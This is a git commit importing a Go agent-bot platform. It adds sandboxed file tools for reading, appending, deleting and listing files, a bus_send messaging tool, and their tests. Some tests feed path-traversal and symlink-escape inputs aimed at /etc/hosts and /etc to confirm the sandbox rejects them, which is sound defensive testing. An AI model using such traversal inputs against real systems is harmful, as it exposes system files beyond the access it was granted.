feat: import agents_and_robots platform as unibots (Matrix-out, unibus transport)

Reemplaza el scaffold del echobot por la plataforma completa de bots traida
desde ~/DataProyects/Github/agents_and_robots tras la operacion Matrix-out:
los bots ya no hablan por Matrix sino por el bus unibus (modelo todo-rooms +
E2E via shell/transportunibus sobre github.com/enmanuel/unibus/pkg/client).

- go.mod: replace de unibus -> ../unibus y de fn-registry -> ../../../.. (paths
  relativos reajustados a la nueva ubicacion dentro de fn_registry).
- app.md: bump a 0.2.0, descripcion + arquitectura + comandos + gotchas reales.
- modulo Go conservado como github.com/enmanuel/agents (sin reescribir imports).

agents_and_robots queda archivado como museo de la era Matrix.
This commit is contained in:
agent
2026-06-07 11:50:13 +02:00
parent bb5b0e09b1
commit fc644ecd6e
308 changed files with 38829 additions and 474 deletions
+64
View File
@@ -0,0 +1,64 @@
// Package bus provides the bus_send tool, which lets an agent's LLM post a
// message into a unibus room. It replaces the former matrix_send tool now that
// the ecosystem speaks only over the message bus.
package bus
import (
"context"
"fmt"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
// Sender is the message-sending capability the bus_send tool needs. It is
// satisfied by the unibus bus sender used throughout the agent shell.
type Sender interface {
SendMarkdown(ctx context.Context, roomID, markdown string) error
}
// NewBusSend creates a bus_send tool that posts a message to a unibus room.
// If AllowedRooms is configured, only those room IDs can be targeted.
func NewBusSend(sender Sender, cfg config.BusToolCfg) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "bus_send",
Description: "Send a text message to a unibus room.",
Parameters: []tools.Param{
{Name: "room_id", Type: "string", Description: "The unibus room ID to send to", Required: true},
{Name: "message", Type: "string", Description: "The text message to send", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
roomID := tools.GetString(args, "room_id")
message := tools.GetString(args, "message")
if roomID == "" || message == "" {
return tools.Result{Err: fmt.Errorf("bus_send: room_id and message are required")}
}
if err := validateRoom(roomID, cfg.AllowedRooms); err != nil {
return tools.Result{Err: err}
}
if err := sender.SendMarkdown(ctx, roomID, message); err != nil {
return tools.Result{Err: fmt.Errorf("bus_send: %w", err)}
}
return tools.Result{Output: fmt.Sprintf("message sent to %s", roomID)}
},
}
}
// validateRoom checks that roomID is in the allowed list.
// If allowedRooms is empty, all rooms are allowed.
func validateRoom(roomID string, allowedRooms []string) error {
if len(allowedRooms) == 0 {
return nil
}
for _, r := range allowedRooms {
if roomID == r {
return nil
}
}
return fmt.Errorf("bus_send: room %q not in allowed rooms list", roomID)
}
+33
View File
@@ -0,0 +1,33 @@
package clock
import (
"context"
"fmt"
"time"
"github.com/enmanuel/agents/tools"
)
// NewCurrentTime creates a current_time tool that returns the current date and time.
// Useful for agents that need temporal awareness.
func NewCurrentTime() tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "current_time",
Description: "Returns the current date and time in the server's timezone. Use this when you need to know the current time or date.",
Parameters: []tools.Param{
{Name: "format", Type: "string", Description: "Optional Go time format string. Defaults to RFC3339 if empty.", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
layout := tools.GetString(args, "format")
if layout == "" {
layout = time.RFC3339
}
now := time.Now()
output := fmt.Sprintf("Current time: %s\nTimezone: %s", now.Format(layout), now.Location().String())
return tools.Result{Output: output}
},
}
}
+83
View File
@@ -0,0 +1,83 @@
package file
import (
"context"
"fmt"
"os"
"path/filepath"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
// maxAppendTotal is the maximum total file size after appending (10 MB).
const maxAppendTotal = 10 * 1024 * 1024
// NewAppendFile creates an append_file tool that appends content to a local file.
// Deny-by-default: if AllowedPaths is empty, all operations are rejected.
// Rejects if ReadOnly is true. Creates the file (and parent directories) if it does not exist.
func NewAppendFile(cfg config.FileOpsCfg) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "append_file",
Description: "Append content to the end of a local file. Creates the file if it does not exist.",
Parameters: []tools.Param{
{Name: "path", Type: "string", Description: "Absolute path to the file to append to", Required: true},
{Name: "content", Type: "string", Description: "Content to append to the file", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
path := tools.GetString(args, "path")
if path == "" {
return tools.Result{Err: fmt.Errorf("append_file: path is required")}
}
content := tools.GetString(args, "content")
if content == "" {
return tools.Result{Err: fmt.Errorf("append_file: content is required")}
}
absPath, err := filepath.Abs(path)
if err != nil {
return tools.Result{Err: fmt.Errorf("append_file: %w", err)}
}
if err := validateWritePath(absPath, cfg.AllowedPaths, cfg.ReadOnly); err != nil {
return tools.Result{Err: err}
}
// Check existing file size to enforce the total limit.
var existingSize int64
info, err := os.Stat(absPath)
if err == nil {
existingSize = info.Size()
}
// err != nil means file doesn't exist, which is fine (will be created).
newTotal := existingSize + int64(len(content))
if newTotal > maxAppendTotal {
return tools.Result{Err: fmt.Errorf("append_file: resulting file size (%d bytes) exceeds 10 MB limit", newTotal)}
}
// Create parent directories if they don't exist.
dir := filepath.Dir(absPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return tools.Result{Err: fmt.Errorf("append_file: cannot create directories: %w", err)}
}
f, err := os.OpenFile(absPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return tools.Result{Err: fmt.Errorf("append_file: %w", err)}
}
defer f.Close()
n, err := f.WriteString(content)
if err != nil {
return tools.Result{Err: fmt.Errorf("append_file: %w", err)}
}
finalSize := existingSize + int64(n)
return tools.Result{Output: fmt.Sprintf("appended %d bytes to %s (total size: %d bytes)", n, absPath, finalSize)}
},
}
}
+212
View File
@@ -0,0 +1,212 @@
package file
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/enmanuel/agents/internal/config"
)
func TestAppendFile_AppendsToExistingFile(t *testing.T) {
tmp := t.TempDir()
target := filepath.Join(tmp, "log.txt")
os.WriteFile(target, []byte("line1\n"), 0644)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": target,
"content": "line2\n",
})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
data, _ := os.ReadFile(target)
if string(data) != "line1\nline2\n" {
t.Fatalf("expected 'line1\\nline2\\n', got %q", string(data))
}
if !strings.Contains(result.Output, "6 bytes") {
t.Fatalf("expected '6 bytes' in output, got: %q", result.Output)
}
if !strings.Contains(result.Output, "total size: 12 bytes") {
t.Fatalf("expected total size in output, got: %q", result.Output)
}
}
func TestAppendFile_CreatesNewFileIfNotExists(t *testing.T) {
tmp := t.TempDir()
target := filepath.Join(tmp, "new.txt")
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": target,
"content": "first line",
})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
data, err := os.ReadFile(target)
if err != nil {
t.Fatalf("file not created: %v", err)
}
if string(data) != "first line" {
t.Fatalf("expected 'first line', got %q", string(data))
}
}
func TestAppendFile_RejectsReadOnly(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: true}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "test.txt"),
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error when ReadOnly is true")
}
if !strings.Contains(result.Err.Error(), "read_only") {
t.Fatalf("expected read_only error, got: %v", result.Err)
}
}
func TestAppendFile_RejectsPathOutsideAllowed(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": "/etc/test.txt",
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error for path outside allowed")
}
}
func TestAppendFile_RejectsTotalSizeOver10MB(t *testing.T) {
tmp := t.TempDir()
target := filepath.Join(tmp, "big.txt")
// Create a file just under the limit
existing := strings.Repeat("x", maxAppendTotal-100)
os.WriteFile(target, []byte(existing), 0644)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewAppendFile(cfg)
// Try to append content that would exceed the limit
result := tool.Exec(context.Background(), map[string]any{
"path": target,
"content": strings.Repeat("y", 200),
})
if result.Err == nil {
t.Fatal("expected error when total size exceeds 10 MB")
}
if !strings.Contains(result.Err.Error(), "10 MB") {
t.Fatalf("expected 10 MB error, got: %v", result.Err)
}
}
func TestAppendFile_PathTraversal(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "..", "..", "etc", "evil.txt"),
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error for path traversal")
}
}
func TestAppendFile_SymlinkEscape(t *testing.T) {
tmp := t.TempDir()
link := filepath.Join(tmp, "escape")
os.Symlink("/tmp", link)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(link, "evil.txt"),
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error for symlink escape")
}
}
func TestAppendFile_DenyByDefault(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{}, ReadOnly: false}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": "/tmp/test.txt",
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error when AllowedPaths is empty")
}
}
func TestAppendFile_EmptyPath(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{"/tmp"}, ReadOnly: false}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": "",
"content": "data",
})
if result.Err == nil {
t.Fatal("expected error for empty path")
}
}
func TestAppendFile_EmptyContent(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{"/tmp"}, ReadOnly: false}
tool := NewAppendFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": "/tmp/test.txt",
"content": "",
})
if result.Err == nil {
t.Fatal("expected error for empty content")
}
}
func TestAppendFile_CreatesParentDirectories(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewAppendFile(cfg)
target := filepath.Join(tmp, "sub", "dir", "file.txt")
result := tool.Exec(context.Background(), map[string]any{
"path": target,
"content": "nested content",
})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
data, err := os.ReadFile(target)
if err != nil {
t.Fatalf("file not created: %v", err)
}
if string(data) != "nested content" {
t.Fatalf("expected 'nested content', got %q", string(data))
}
}
+57
View File
@@ -0,0 +1,57 @@
package file
import (
"context"
"fmt"
"os"
"path/filepath"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
// NewDeleteFile creates a delete_file tool that deletes a single file.
// Deny-by-default: if AllowedPaths is empty, all operations are rejected.
// Rejects if ReadOnly is true. Only deletes files, never directories.
// Resolves symlinks before deleting to prevent escaping allowed paths.
func NewDeleteFile(cfg config.FileOpsCfg) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "delete_file",
Description: "Delete a single file. Cannot delete directories.",
Parameters: []tools.Param{
{Name: "path", Type: "string", Description: "Absolute path to the file to delete", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
path := tools.GetString(args, "path")
if path == "" {
return tools.Result{Err: fmt.Errorf("delete_file: path is required")}
}
absPath, err := filepath.Abs(path)
if err != nil {
return tools.Result{Err: fmt.Errorf("delete_file: %w", err)}
}
if err := validateWritePath(absPath, cfg.AllowedPaths, cfg.ReadOnly); err != nil {
return tools.Result{Err: err}
}
// Stat the file to ensure it exists and is not a directory.
info, err := os.Stat(absPath)
if err != nil {
return tools.Result{Err: fmt.Errorf("delete_file: %w", err)}
}
if info.IsDir() {
return tools.Result{Err: fmt.Errorf("delete_file: %q is a directory, only files can be deleted", absPath)}
}
if err := os.Remove(absPath); err != nil {
return tools.Result{Err: fmt.Errorf("delete_file: %w", err)}
}
return tools.Result{Output: fmt.Sprintf("deleted %s", absPath)}
},
}
}
+160
View File
@@ -0,0 +1,160 @@
package file
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"github.com/enmanuel/agents/internal/config"
)
func TestDeleteFile_DeletesExistingFile(t *testing.T) {
tmp := t.TempDir()
target := filepath.Join(tmp, "doomed.txt")
os.WriteFile(target, []byte("bye"), 0644)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": target})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
if _, err := os.Stat(target); !os.IsNotExist(err) {
t.Fatal("file should have been deleted")
}
if !strings.Contains(result.Output, "deleted") {
t.Fatalf("expected 'deleted' in output, got: %q", result.Output)
}
}
func TestDeleteFile_RejectsDirectories(t *testing.T) {
tmp := t.TempDir()
subdir := filepath.Join(tmp, "mydir")
os.Mkdir(subdir, 0755)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": subdir})
if result.Err == nil {
t.Fatal("expected error when trying to delete a directory")
}
if !strings.Contains(result.Err.Error(), "directory") {
t.Fatalf("expected directory error, got: %v", result.Err)
}
// Verify directory still exists
if _, err := os.Stat(subdir); os.IsNotExist(err) {
t.Fatal("directory should not have been deleted")
}
}
func TestDeleteFile_RejectsReadOnly(t *testing.T) {
tmp := t.TempDir()
target := filepath.Join(tmp, "protected.txt")
os.WriteFile(target, []byte("safe"), 0644)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: true}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": target})
if result.Err == nil {
t.Fatal("expected error when ReadOnly is true")
}
if !strings.Contains(result.Err.Error(), "read_only") {
t.Fatalf("expected read_only error, got: %v", result.Err)
}
// Verify file still exists
if _, err := os.Stat(target); os.IsNotExist(err) {
t.Fatal("file should not have been deleted")
}
}
func TestDeleteFile_RejectsPathOutsideAllowed(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": "/etc/hosts"})
if result.Err == nil {
t.Fatal("expected error for path outside allowed")
}
}
func TestDeleteFile_PathTraversal(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "..", "..", "etc", "hosts"),
})
if result.Err == nil {
t.Fatal("expected error for path traversal")
}
}
func TestDeleteFile_SymlinkEscape(t *testing.T) {
tmp := t.TempDir()
// Create a file outside allowed paths
outside := t.TempDir()
outsideFile := filepath.Join(outside, "secret.txt")
os.WriteFile(outsideFile, []byte("secret"), 0644)
// Create symlink inside allowed paths pointing to the outside file
link := filepath.Join(tmp, "link.txt")
os.Symlink(outsideFile, link)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": link})
if result.Err == nil {
t.Fatal("expected error for symlink escape")
}
// Verify the outside file still exists
if _, err := os.Stat(outsideFile); os.IsNotExist(err) {
t.Fatal("outside file should not have been deleted")
}
}
func TestDeleteFile_NonExistentFile(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}, ReadOnly: false}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "nonexistent.txt"),
})
if result.Err == nil {
t.Fatal("expected error for non-existent file")
}
}
func TestDeleteFile_EmptyPath(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{"/tmp"}, ReadOnly: false}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": ""})
if result.Err == nil {
t.Fatal("expected error for empty path")
}
}
func TestDeleteFile_DenyByDefault(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{}, ReadOnly: false}
tool := NewDeleteFile(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": "/tmp/test.txt"})
if result.Err == nil {
t.Fatal("expected error when AllowedPaths is empty")
}
}
+54
View File
@@ -0,0 +1,54 @@
package file
import (
"context"
"fmt"
"os"
"path/filepath"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
// NewReadFile creates a read_file tool that reads local files.
// Deny-by-default: if AllowedPaths is empty, all reads are rejected.
// Resolves symlinks and normalizes paths to prevent traversal attacks.
func NewReadFile(cfg config.FileOpsCfg) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "read_file",
Description: "Read the contents of a local file.",
Parameters: []tools.Param{
{Name: "path", Type: "string", Description: "Absolute path to the file to read", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
path := tools.GetString(args, "path")
if path == "" {
return tools.Result{Err: fmt.Errorf("read_file: path is required")}
}
absPath, err := filepath.Abs(path)
if err != nil {
return tools.Result{Err: fmt.Errorf("read_file: %w", err)}
}
if err := validatePath(absPath, cfg.AllowedPaths); err != nil {
return tools.Result{Err: err}
}
data, err := os.ReadFile(absPath)
if err != nil {
return tools.Result{Err: fmt.Errorf("read_file: %w", err)}
}
// Limit output to 64 KB
content := string(data)
if len(content) > 64*1024 {
content = content[:64*1024] + "\n... (truncated)"
}
return tools.Result{Output: content}
},
}
}
+100
View File
@@ -0,0 +1,100 @@
package file
import (
"context"
"os"
"path/filepath"
"testing"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
func TestNewReadFile_DenyByDefault(t *testing.T) {
tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{}})
result := tool.Exec(context.Background(), map[string]any{"path": "/etc/hosts"})
if result.Err == nil {
t.Fatal("expected error when AllowedPaths is empty, got nil")
}
}
func TestNewReadFile_AllowedPath(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "test.txt")
os.WriteFile(f, []byte("hello"), 0644)
tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{tmp}})
result := tool.Exec(context.Background(), map[string]any{"path": f})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
if result.Output != "hello" {
t.Fatalf("expected 'hello', got %q", result.Output)
}
}
func TestNewReadFile_PathTraversal(t *testing.T) {
tmp := t.TempDir()
// Try to escape via ../
tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{tmp}})
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "..", "..", "etc", "hosts"),
})
if result.Err == nil {
t.Fatal("expected error for path traversal, got nil")
}
}
func TestNewReadFile_PathOutsideAllowed(t *testing.T) {
tmp := t.TempDir()
tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{tmp}})
result := tool.Exec(context.Background(), map[string]any{"path": "/etc/hosts"})
if result.Err == nil {
t.Fatal("expected error for path outside allowed, got nil")
}
}
func TestNewReadFile_SymlinkEscape(t *testing.T) {
tmp := t.TempDir()
link := filepath.Join(tmp, "escape")
os.Symlink("/etc", link)
tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{tmp}})
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(link, "hosts"),
})
if result.Err == nil {
t.Fatal("expected error for symlink escape, got nil")
}
}
func TestNewReadFile_EmptyPath(t *testing.T) {
tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{"/tmp"}})
result := tool.Exec(context.Background(), map[string]any{"path": ""})
if result.Err == nil {
t.Fatal("expected error for empty path")
}
}
func TestNewReadFile_PrefixConfusion(t *testing.T) {
// /opt should not match /opt1234
tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{"/opt"}})
result := tool.Exec(context.Background(), map[string]any{"path": "/opt1234/file.txt"})
if result.Err == nil {
t.Fatal("expected error: /opt should not match /opt1234")
}
}
func TestValidatePath_ExactMatch(t *testing.T) {
tmp := t.TempDir()
if err := validatePath(tmp, []string{tmp}); err != nil {
t.Fatalf("exact match should be allowed: %v", err)
}
}
func TestGetString_MissingKey(t *testing.T) {
val := tools.GetString(map[string]any{}, "missing")
if val != "" {
t.Fatalf("expected empty, got %q", val)
}
}
+173
View File
@@ -0,0 +1,173 @@
package file
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"github.com/enmanuel/agents/internal/config"
"github.com/enmanuel/agents/tools"
)
// maxListEntries is the maximum number of entries returned by list_directory.
const maxListEntries = 500
// NewListDirectory creates a list_directory tool that lists files and directories.
// Deny-by-default: if AllowedPaths is empty, all listings are rejected.
// Does not follow symlinks that point outside of AllowedPaths.
func NewListDirectory(cfg config.FileOpsCfg) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "list_directory",
Description: "List files and directories at the given path. Returns name, size, type (file/dir), and modification date for each entry.",
Parameters: []tools.Param{
{Name: "path", Type: "string", Description: "Absolute path to the directory to list", Required: true},
{Name: "recursive", Type: "boolean", Description: "List recursively (default: false)", Required: false},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
path := tools.GetString(args, "path")
if path == "" {
return tools.Result{Err: fmt.Errorf("list_directory: path is required")}
}
recursive := getBool(args, "recursive")
absPath, err := filepath.Abs(path)
if err != nil {
return tools.Result{Err: fmt.Errorf("list_directory: %w", err)}
}
if err := validatePath(absPath, cfg.AllowedPaths); err != nil {
return tools.Result{Err: err}
}
info, err := os.Stat(absPath)
if err != nil {
return tools.Result{Err: fmt.Errorf("list_directory: %w", err)}
}
if !info.IsDir() {
return tools.Result{Err: fmt.Errorf("list_directory: %q is not a directory", absPath)}
}
var entries []string
if recursive {
entries, err = listRecursive(absPath, cfg.AllowedPaths)
} else {
entries, err = listFlat(absPath, cfg.AllowedPaths)
}
if err != nil {
return tools.Result{Err: fmt.Errorf("list_directory: %w", err)}
}
if len(entries) > maxListEntries {
entries = entries[:maxListEntries]
entries = append(entries, fmt.Sprintf("... (truncated, showing %d of more entries)", maxListEntries))
}
return tools.Result{Output: strings.Join(entries, "\n")}
},
}
}
// listFlat lists immediate children of dir.
func listFlat(dir string, allowedPaths []string) ([]string, error) {
dirEntries, err := os.ReadDir(dir)
if err != nil {
return nil, err
}
var results []string
for _, e := range dirEntries {
entryPath := filepath.Join(dir, e.Name())
// Skip symlinks that point outside allowed paths.
if e.Type()&os.ModeSymlink != 0 {
if err := validatePath(entryPath, allowedPaths); err != nil {
continue
}
}
info, err := e.Info()
if err != nil {
continue
}
results = append(results, formatEntry("", e.Name(), info))
}
return results, nil
}
// listRecursive lists all files under dir recursively.
func listRecursive(root string, allowedPaths []string) ([]string, error) {
var results []string
count := 0
err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error {
if err != nil {
return nil // skip entries with errors
}
if path == root {
return nil // skip the root directory itself
}
if count >= maxListEntries {
return filepath.SkipAll
}
// Skip symlinks that point outside allowed paths.
if d.Type()&os.ModeSymlink != 0 {
if err := validatePath(path, allowedPaths); err != nil {
if d.IsDir() {
return filepath.SkipDir
}
return nil
}
}
rel, err := filepath.Rel(root, path)
if err != nil {
return nil
}
info, err := d.Info()
if err != nil {
return nil
}
results = append(results, formatEntry("", rel, info))
count++
return nil
})
return results, err
}
// formatEntry formats a single directory entry for output.
func formatEntry(prefix, name string, info os.FileInfo) string {
kind := "file"
if info.IsDir() {
kind = "dir"
}
mod := info.ModTime().Format(time.RFC3339)
display := name
if prefix != "" {
display = prefix + "/" + name
}
return fmt.Sprintf("%s\t%s\t%d\t%s", display, kind, info.Size(), mod)
}
// getBool extracts a boolean argument by name, returning false if missing or wrong type.
func getBool(args map[string]any, key string) bool {
v, ok := args[key]
if !ok {
return false
}
b, ok := v.(bool)
if !ok {
return false
}
return b
}
+176
View File
@@ -0,0 +1,176 @@
package file
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"testing"
"github.com/enmanuel/agents/internal/config"
)
func TestListDirectory_ListsFilesAndDirs(t *testing.T) {
tmp := t.TempDir()
os.WriteFile(filepath.Join(tmp, "file1.txt"), []byte("hello"), 0644)
os.WriteFile(filepath.Join(tmp, "file2.txt"), []byte("world"), 0644)
os.Mkdir(filepath.Join(tmp, "subdir"), 0755)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": tmp})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
if !strings.Contains(result.Output, "file1.txt") {
t.Fatalf("expected file1.txt in output, got: %s", result.Output)
}
if !strings.Contains(result.Output, "file2.txt") {
t.Fatalf("expected file2.txt in output, got: %s", result.Output)
}
if !strings.Contains(result.Output, "subdir") {
t.Fatalf("expected subdir in output, got: %s", result.Output)
}
if !strings.Contains(result.Output, "dir") {
t.Fatalf("expected 'dir' type in output, got: %s", result.Output)
}
}
func TestListDirectory_Recursive(t *testing.T) {
tmp := t.TempDir()
sub := filepath.Join(tmp, "sub")
os.Mkdir(sub, 0755)
os.WriteFile(filepath.Join(tmp, "root.txt"), []byte("r"), 0644)
os.WriteFile(filepath.Join(sub, "nested.txt"), []byte("n"), 0644)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": tmp,
"recursive": true,
})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
if !strings.Contains(result.Output, "root.txt") {
t.Fatalf("expected root.txt in output, got: %s", result.Output)
}
if !strings.Contains(result.Output, filepath.Join("sub", "nested.txt")) {
t.Fatalf("expected sub/nested.txt in output, got: %s", result.Output)
}
}
func TestListDirectory_RespectsMaxEntries(t *testing.T) {
tmp := t.TempDir()
// Create more than maxListEntries files with unique names
for i := 0; i < maxListEntries+10; i++ {
name := fmt.Sprintf("file_%04d.txt", i)
os.WriteFile(filepath.Join(tmp, name), []byte("x"), 0644)
}
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": tmp})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
lines := strings.Split(result.Output, "\n")
// Should be maxListEntries + 1 (truncation message)
if len(lines) > maxListEntries+1 {
t.Fatalf("expected at most %d lines, got %d", maxListEntries+1, len(lines))
}
if !strings.Contains(result.Output, "truncated") {
t.Fatalf("expected truncation message, got: %s", result.Output[len(result.Output)-200:])
}
}
func TestListDirectory_SymlinkOutsideAllowedSkipped(t *testing.T) {
tmp := t.TempDir()
// Create a symlink pointing outside AllowedPaths
link := filepath.Join(tmp, "escape")
os.Symlink("/etc", link)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": tmp})
if result.Err != nil {
t.Fatalf("expected success, got: %v", result.Err)
}
// The symlink should be skipped, not listed
if strings.Contains(result.Output, "escape") {
t.Fatalf("symlink pointing outside allowed paths should be skipped, got: %s", result.Output)
}
}
func TestListDirectory_PathTraversal(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{
"path": filepath.Join(tmp, "..", "..", "etc"),
})
if result.Err == nil {
t.Fatal("expected error for path traversal")
}
}
func TestListDirectory_DenyByDefault(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": "/tmp"})
if result.Err == nil {
t.Fatal("expected error when AllowedPaths is empty")
}
}
func TestListDirectory_NotADirectory(t *testing.T) {
tmp := t.TempDir()
f := filepath.Join(tmp, "file.txt")
os.WriteFile(f, []byte("hello"), 0644)
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": f})
if result.Err == nil {
t.Fatal("expected error for non-directory path")
}
if !strings.Contains(result.Err.Error(), "not a directory") {
t.Fatalf("expected 'not a directory' error, got: %v", result.Err)
}
}
func TestListDirectory_EmptyPath(t *testing.T) {
cfg := config.FileOpsCfg{AllowedPaths: []string{"/tmp"}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": ""})
if result.Err == nil {
t.Fatal("expected error for empty path")
}
}
func TestListDirectory_EmptyDirectory(t *testing.T) {
tmp := t.TempDir()
cfg := config.FileOpsCfg{AllowedPaths: []string{tmp}}
tool := NewListDirectory(cfg)
result := tool.Exec(context.Background(), map[string]any{"path": tmp})
if result.Err != nil {
t.Fatalf("expected success for empty dir, got: %v", result.Err)
}
if result.Output != "" {
t.Fatalf("expected empty output for empty dir, got: %q", result.Output)
}
}
+83
View File
@@ -0,0 +1,83 @@
package file
import (
"fmt"
"path/filepath"
"strings"
)
// validatePath checks that absPath is under one of the allowed paths.
// Deny-by-default: if allowedPaths is empty, no paths are allowed.
// Resolves symlinks to prevent traversal via ../ or symlink escapes.
func validatePath(absPath string, allowedPaths []string) error {
if len(allowedPaths) == 0 {
return fmt.Errorf("file: no allowed paths configured, all operations denied")
}
// Resolve symlinks on the requested path to get the real path.
// If the file doesn't exist yet, resolve the parent directory.
